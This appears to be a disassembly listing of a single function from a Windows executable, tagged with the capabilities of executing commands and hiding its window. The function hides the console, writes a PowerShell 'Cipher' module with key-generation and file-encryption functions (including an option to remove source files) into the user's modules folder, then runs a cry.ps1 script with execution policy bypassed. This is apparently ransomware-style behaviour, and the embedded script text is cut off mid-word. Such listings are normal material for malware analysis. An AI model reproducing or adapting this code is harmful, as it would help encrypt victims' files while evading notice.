Function at 0x4014f0
Capabilities:
Execute command
Hide graphical window

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
mov eax, 0x2b18
call fcn.00402520
sub esp, eax
call dbg.__main
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call eax
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
lea eax, [ebp - 0x2b10]
mov edx, eax
mov ebx, str.cmd.exe__c_mkdir__USERPROFILE_DocumentsWindowsPowerShellModulesCipher__cd__USERPROFILE_DocumentsWindowsPowerShellModulesCipher__echo_function_New_CryptographyKey______Cipher.psm1__echo__CmdletBinding_______Cipher.psm1__echo___OutputType__System.Security.SecureString_______Cipher.psm1__echo__OutputType__String___ParameterSetNamePlainText______Cipher.psm1__echo_Param__Parameter_Mandatory_false__Position1______Cipher.psm1__echo______ValidateSet_AES_DES_RC2_Rijndael_TripleDES______Cipher.psm1__echo______String__AlgorithmAES_____Cipher.psm1__echo______Parameter_Mandatory_false__Position2______Cipher.psm1__echo______Int__KeySize_____Cipher.psm1__echo______Parameter_ParameterSetNamePlainText______Cipher.psm1__echo______Switch__AsPlainText_____Cipher.psm1__echo_____Process________Cipher.psm1__echo_________try____________Cipher.psm1__echo______________Crypto___System.Security.Cryptography.SymmetricAlgorithm_::Create__Algorithm_____Cipher.psm1__echo_____________if__PSBoundParameters.ContainsKey_KeySize______Cipher.psm1__echo__________________Crypto.KeySize___KeySize_________________Cipher.psm1__echo______________Crypto.GenerateKey______Cipher.psm1__echo_____________if__AsPlainText_________________Cipher.psm1__echo_________________return__System.Convert_::ToBase64String__Crypto.Key______Cipher.psm1__echo_____________else________________Cipher.psm1__echo_________________return__System.Convert_::ToBase64String__Crypto.Key___ConvertTo_SecureString__AsPlainText__Force________________________Cipher.psm1__echo_________catch____________________Write_Error__________________Cipher.psm1__echo_Function_Protect_File______Cipher.psm1__echo__CmdletBinding_DefaultParameterSetNameSecureString______Cipher.psm1__echo__OutputType__System.IO.FileInfo_________Cipher.psm1__echo_Param__Parameter_Mandatory_true__Position1__ValueFromPipeline_true__ValueFromPipelineByPropertyName_true_______Cipher.psm1__echo______Alias_PSPath_LiteralPath______Cipher.psm1__echo______string____FileName______Cipher.psm1__echo______Parameter_Mandatory_false__Position2_______Cipher.psm1__echo______ValidateSet_AES_DES_RC2_Rijndael_TripleDES______Cipher.psm1__echo______String__Algorithm__AES_____Cipher.psm1__echo______Parameter_Mandatory_false__Position3__ParameterSetNameSecureString______Cipher.psm1__echo______System.Security.SecureString__Key___New_CryptographyKey__Algorithm__Algorithm______Cipher.psm1__echo______Parameter_Mandatory_true__Position3__ParameterSetNamePlainText______Cipher.psm1__echo______String__KeyAsPlainText_____Cipher.psm1__echo______Parameter_Mandatory_false__Position4______Cipher.psm1__echo______System.Security.Cryptography.CipherMode__CipherMode_____Cipher.psm1__echo______Parameter_Mandatory_false__Position5______Cipher.psm1___echo______System.Security.Cryptography.PaddingMode__PaddingMode_____Cipher.psm1__echo______Parameter_Mandatory_false__Position6______Cipher.psm1__echo______String__Suffix___._Algorithm______Cipher.psm1__echo______Parameter_______Cipher.psm1__echo______Switch__RemoveSource_____Cipher.psm1__echo_____Begin_____try____________Cipher.psm1__echo_____________if__PSCmdlet.ParameterSetName__eq_PlainText_______Cipher.psm1__echo__________________Key___KeyAsPlainText__ConvertTo_SecureString__AsPlainText__Force_____Cipher.psm1__echo______________BSTR___System.Runtime.InteropServices.Marshal_::SecureStringToBSTR__Key_____Cipher.psm1__echo______________EncryptionKey___System.Convert_::FromBase64String__System.Runtime.InteropServices.Marshal_::PtrToStringAuto__BSTR______Cipher.psm1__echo______________Crypto___System.Security.Cryptography.SymmetricAlgorithm_::Create__Algorithm_____Cipher.psm1__echo_____________if__PSBoundParameters.ContainsKey_CipherMode______Cipher.psm1___echo__________________Crypto.Mode___CipherMode_____Cipher.psm1__echo_____________if__PSBoundParameters.ContainsKey_PaddingMode______Cipher.psm1__echo__________________Crypto.Padding___PaddingMode_____Cipher
mov eax, 0x7bb
mov edi, edx
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x2b10]
mov dword [esp], eax
call sym._system
lea eax, [ebp - 0x2b10]
mov edx, eax
mov eax, str.cmd.exe__c_cd__USERPROFILE_DocumentsWindowsPowerShellModulesCipher__echo_Remove_Item__path__homeDocumentsWindowsPowerShellModulesCipher_____USERPROFILE_DocumentsWindowsPowerShellModulesCiphercry.ps1__powershell__ExecutionPolicy_ByPass__File__USERPROFILE_DocumentsWindowsPowerShellModulesCiphercry.ps1__exit
mov ecx, 0x52
mov edi, edx
mov esi, eax
rep movsd dword es:[edi], dword [esi]
mov eax, esi
mov edx, edi
movzx ecx, word [eax]
mov word [edx], cx
lea eax, [ebp - 0x2b10]
mov dword [esp], eax
call sym._system
mov eax, 0
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret